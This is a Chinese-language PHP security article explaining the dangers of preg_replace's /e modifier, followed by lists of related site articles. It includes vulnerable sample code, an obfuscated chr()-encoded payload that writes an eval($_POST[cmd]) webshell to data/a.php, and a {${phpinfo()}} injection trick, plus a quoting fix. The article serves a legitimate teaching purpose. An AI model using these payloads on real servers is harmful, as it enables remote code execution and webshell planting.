慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
一键删除顽固的空文件夹 软件下载
Jan 26 PHP
php各种编码集详解和以及在什么情况下进行使用
Sep 11 PHP
str_replace只替换一次字符串的方法
Apr 09 PHP
怎么在Windows系统中搭建php环境
Aug 31 PHP
使用PHP生成二维码的两种方法(带logo图像)
Mar 14 PHP
PHP生成图片验证码、点击切换实例
Jun 25 PHP
PHP通过插入mysql数据来实现多机互锁实例
Nov 05 PHP
php轻量级的性能分析工具xhprof的安装使用
Aug 12 PHP
PHP简单操作MongoDB的方法(安装及增删改查)
May 26 PHP
Yii列表定义与使用分页方法小结(3种方法)
Jul 15 PHP
PHP下的浮点运算不准的解决方法
Oct 27 PHP
php传值和传引用的区别点总结
Nov 19 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
php 禁止页面缓存输出
2009/01/07 PHP
php 字符过滤类,用于过滤各类用户输入的数据
2009/05/27 PHP
PHP时间和日期函数详解
2015/05/08 PHP
PHP5.3连接Oracle客户端及PDO_OCI模块的安装方法
2016/05/13 PHP
PHP生成图片缩略图类示例
2017/01/12 PHP
一个非常实用的php文件上传类
2017/07/04 PHP
PHP strripos函数用法总结
2019/02/11 PHP
jquery 插件 人性化的消息显示
2008/01/21 Javascript
JQuery拖拽元素改变大小尺寸实现代码
2012/12/10 Javascript
在Javascript中 声明时用&quot;var&quot;与不用&quot;var&quot;的区别
2013/04/15 Javascript
js焦点文字滚动效果代码分享
2015/08/25 Javascript
jQuery实现自动与手动切换的滚动新闻特效代码分享
2015/08/27 Javascript
jQuery 中ajax异步调用的四种方式
2016/06/28 Javascript
详解nodejs 文本操作模块-fs模块(一)
2016/12/22 NodeJs
详解webpack分离css单独打包
2017/06/21 Javascript
详解vue 实例方法和数据
2017/10/23 Javascript
vue.js,ajax渲染页面的实例
2018/02/11 Javascript
Vue+webpack项目基础配置教程
2018/02/12 Javascript
详解如何快速配置webpack多入口脚手架
2018/12/28 Javascript
vue中的使用token的方法示例
2020/03/10 Javascript
利用Vue的v-for和v-bind实现列表颜色切换
2020/07/17 Javascript
vue的webcamjs集成方式
2020/11/16 Javascript
js定时器出现第一次延迟的原因及解决方法
2021/01/04 Javascript
[00:27]DOTA2战队VP、Secret贺新春
2018/02/11 DOTA
python中使用PIL制作并验证图片验证码
2018/03/15 Python
pyqt5利用pyqtDesigner实现登录界面
2019/03/28 Python
美国全球旅游运营商:Pacific Holidays
2018/06/18 全球购物
联想西班牙官网:Lenovo西班牙
2018/08/28 全球购物
ManoMano英国:欧洲第一家专注于DIY和园艺市场的电商平台
2020/03/12 全球购物
什么是serialVersionUID
2016/03/04 面试题
中英文自我评价语句
2013/12/20 职场文书
材料会计岗位职责
2014/03/06 职场文书
捐助倡议书范文
2014/04/15 职场文书
电子商务实训报告总结
2014/11/05 职场文书
初三英语教学反思
2016/02/15 职场文书
SpringBoot系列之MongoDB Aggregations用法详解
2022/02/12 MongoDB